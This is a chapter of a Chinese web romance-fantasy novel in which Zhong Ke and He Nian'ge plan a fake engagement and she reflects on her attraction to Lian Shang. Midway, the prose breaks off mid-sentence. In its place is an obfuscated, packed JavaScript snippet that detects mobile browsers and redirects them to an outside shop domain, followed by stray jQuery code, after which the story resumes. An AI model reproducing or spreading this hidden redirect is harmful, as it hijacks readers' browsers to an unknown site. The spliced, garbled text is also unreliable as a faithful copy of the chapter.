27. 人权
    回到贺家,已经快中午了。

    但钟可敲开门时,眼前站着的是让她最安心的贺念戈,她顿时松了口气。

    钟可推着贺念戈一起上了楼,进了他房间就急切地问:“怎么说?伯母没起疑?你爸呢?他俩聊得怎么样?结果如何?”

    贺念戈比她沉着不少,不紧不慢地把问题都回答了:“他们都出门了。我爸去公司,我妈……她说带着顾姨去给你挑点礼服。”

    “礼服?”

    她有点吃惊,“就是说,你爸同意了?”

    订婚。

    那是要准备礼服的。

    贺念戈点点头:“昨天你走之后,他们好像吵了一架。今天早上,我妈出门前说,她说服我爸了,就听我们的。”

    “那她没发现我不在?”钟可惊讶地抛出重点。

    贺念戈微微一笑:“我说你可能还在睡吧,让她别去打扰你。”

    钟可这才彻底放下心来,贺念戈又说了句:“怎么?你这一夜……”他故意眯起眼睛,还用鼻尖作势嗅了嗅空气:“挺忙的?”

    她有点心虚,不自然地捋了捋头发:“就……有点事。”

    她没想好,连裳的事要怎么跟贺念戈开口。

    甚至也没想好她自己准备怎么善后。

    但贺念戈显然也不是傻子,他从不会刨根问底,却先说明了他的立场:“钟可,你也不必有什么顾虑。无论发生什么,我都会支持你。”

    钟可有些颓败地坐到他房间的躺椅上,想了想,还是决定如实交代:“贺念戈,我好像闯祸了。”

    他面不改色,只是淡定地问:“哦?说来听听。”

    “我……”钟可话到嘴边,还是不知要怎么讲。

    “感情问题?”见她表情纠结得就像喝水被噎住,贺念戈先说出了他的猜测。

    钟可有点无助地看他:“也不算……也能算。”

    “怎么?你分不清?钟大小姐还是头一次像这样,拖泥带水的。”贺念戈轻笑,有意拿话激她。

    钟可无奈地往椅子上躺,有点疲惫地阖上了眼:“你别取笑我。我……这次不太一样,有点……弄不清怎么回事。”

    贺念戈似乎感受到了她的困扰,再次温和地问:“是人不一样,还是事不一样?”

    钟可蓦然睁开眼:“都不一样。”

    她重新坐直,好奇地问贺念戈:“贺念戈,你为什么那么肯定,你喜欢安显?想和他一起共度余生?”

    这不是她第一次问类似的问题,却是她第一次这么困惑地想要知道答案。

    贺念戈知道,这次果然不一样。

    于是,他缓缓地摇头:“我不肯定啊。”

    钟可一脸问号。

    贺念戈随手打开房间里的迷你冰箱,拿了一罐冰可乐递给她,看着她猛猛灌了一大口,才认真地说:“钟可,如果是感情的事……其实,你是永远无法‘肯定’的。”

    他忽然就像长辈们以为的那样,变成了一副“哥哥”的样子,语重心长地告诉他陷入初恋的妹妹:“我喜欢安显,你以为我喜欢得要为他对抗全世界……但其实,只不过是我发现了,比起……我生命里所有过往的快乐和痛苦,那些全部加起来,也抵挡不住我心里的欲望——那个人,我想要他。但你如果要问我,肯定吗?能肯定多久?……我不知道。一生这么长,以后的事,我又怎么能知道呢。但眼下,此刻,当下,他就是我最想要的,我只能肯定这个。也愿意为了,拼尽全力罢了。”

    钟可愣愣地听他说完了这些。

    她好像能懂,却又不完全懂。

    她从小见到的“爱情”,就是她爸对她妈那样的——矢志不渝,不死不休。

    贺念戈对安显的感情,却是极度克制的。她曾一度以为那不是爱,只是心血来潮罢了。

    直到贺念戈再也无法隐藏,他那克制的背后,暗藏了放弃一切的勇气和决绝。

    钟可以为,那就是和她父母一样,非彼此不可的深情。

    可他又说,“以后的事,谁知道呢”。

    钟可有些迷茫地陷入了沉思。

    她并不是没有感知情绪的能力,也不是搞不懂爱情和欲望的分别。

    只是,她和连裳之间,那突兀的又无法自控的发展,在她一个从小自诩高贵冷淡的血族身上,从未有过。

    她知道贺念戈也是妖,就算他们树妖会受到流萎的折磨,比她还要难以自抑,她几乎能想象那种痛苦——

    可贺念戈仍然,只愿意接近他的那个人,是安显。

    钟可只是不太确定,她昨夜那反常的冲动,是因为血族妖力的某种反噬,还是……她也对连裳有了,她并不能理解的感情。

    可是,如果说她喜欢他,这也太奇怪了。

    他们明明只见过两次。

    可谁说只见过两次就不能喜欢呢?

    她能明确肯定的是,她喜欢他的脸,这是毋庸置疑的。

    于是,她又问:“如果,我只是特别喜欢一个人的脸呢?我只是……觉得那是我见过最好看的脸。我,想要。”

    她垂头想了想,还是坚定地说出了心里话。

    贺念戈却没忍住扑哧一声笑了出来。

    钟可不满地瞪他。

    贺念戈却毫不收敛,继续笑着揶揄她:“那又如何?你喜欢一个人,喜欢他的长相、身材或家世,哪怕只是喜欢他穿衣的品味,甚至喜欢他咳嗽的声音……那又怎么样?你在苦恼什么?”

    他这一问,倒是让钟可醍醐灌顶。

    对啊!

    她就算只喜欢他的脸,怎么不算喜欢呢?

    反正……

    他也没有觉得不适啊?

    那……

    钟可忽然拍了拍手,点头道:“没错。那我应该就是看上他了。贺念戈,我看上了一个美人。”

    贺念戈笑意更深:“哦?那美人的运气可不太好。”

    钟可也不和他计较,她一下站起身,心情忽然又明媚起来,大力拍了拍贺念戈的肩膀:“你果然是我的……知己!也不枉我为你牺牲一场。”

    “牺牲?”贺念戈不为所动地避开她的“魔爪”,反问:“你真觉得咱们这个办法,合适?你爸妈要是知道了……”

    “我爸妈知道了也会支持我的!”她自信地打断他的顾虑,只是激动地说:“你现在该想的是,要怎么自然而然地让安显知道这个消息。而且——”

    她邪魅一笑:“还要让他抓心挠肝。”

    钟可知道安显是什么性格。

    狼妖一族自古算不得十分聪明——那只是因为,他们不屑于算计和背叛。

    狼妖最是忠诚,却也最有领地意识。

    只要贺念戈表现得像高塔里无助的公主,他的狼王子,绝对不会坐视不理。

    她比对自己父母还要更自信的,是她对安显的判断。

    她和

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314498|150718||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    贺念戈订婚这么无稽的事,她当然并不是无脑就提的。

    以她多年来对贺知月的了解,还有贺念戈那个别扭的自以为高尚自持的性子,如果不给贺家一点颠覆性的小震撼,贺念戈这辈子……要不就孤独终老,要不就成为家族联姻的牺牲品,总之,跟幸福可以说毫无关系了。

    她可以豁出一切——

    也不是她多么伟大无畏,只是她有足够的安全感,她的父母,无论何时何地何种情境,一定会站在她这边。

    她却不忍心看着贺念戈,永远孤身一人。

    从小到大,贺念戈都是除了父母以外,最真诚待她的人。

    在认识艾奇以前,贺念戈算是她唯一的挚友、闺蜜、姐妹。

    这和他们的性别、性取向都无关。

    也和他们的家族、利益关系都无关。

    只是她和他之间,最纯粹的友情。

    钟可问贺念戈:“你身体好了吗?还有没有不舒服?什么时候可以去上班?”

    贺念戈不可思议地瞪了瞪她:“你买了贺氏的股票?这么丧心病狂地急着压榨我?”

    “我是想提醒你早点去公司,把婚事传传开。不然你的小秘书怎么有机会做心理建设?”

    钟可无语地白他一眼,就像在鄙视他小人之心。

    “而且,戏要演就演全套。我还得跟你去公司秀恩爱啊。”

    她又认真地建议。

    贺念戈果然人都僵了一下,不自然地反问:“秀恩爱?有必要吗……”

    “当然了!”

    钟可忿忿地站起来:“挡箭牌也是有人权的!我可不想成了个家族联姻背景板,既然写了剧本,就得敬业地演完。你放心,小秘书将来会感激我的!”

    她一想起安显那张脸上简直想撕了她的表情,就觉得兴奋。

    有句话怎么说的来着?

    「我就是喜欢看你讨厌我又干不掉我的样子」。

    既然都拿了恶毒女配的剧本,她怎么可能不奉陪到底呢?

    爱情,他们已经拥有了。

    幸福,她也会拼命帮他们争取。

    那么……

    稍微走一下虐男主的剧情,她应该也不算恶毒吧?

    何况,钟可一想到,她还有个“一夜情”的对象没有处理,心里就不免觉得烦乱。

    喜欢他的脸,她不觉得是丢脸的事。

    “美丽”本身……

    本来就会吸引贪图“美”的人。

    她可能只是其中……比较恶劣的一种——

    不光贪图看看,她真的……下手了。

    而且,她甚至还——想握在自己手里。

    想独占。

    一想到张君隽那双脏手摸过他的脸,她到现在还觉得气不打一出来。

    可即便已经想得如此透彻,内心也不打算再纠结于“喜欢不喜欢”、“为什么喜欢”这种问题……

    钟可看到【连裳】发来的消息,还是愣住了。

    【姐姐,是不是只有我死了,你才不会一直想着逃?】

    ???

    钟可简直惊呆了。

    她给他留了字条,他没看吗?

    她还留了……黑卡!他知道有多少人想要吗?!!

    什么……死不死逃不逃的,什么鬼啊?!

    偏偏贺念戈这时候,破天荒地凑了过来,还好奇地读了出来:“姐姐,是不是只有我死了——”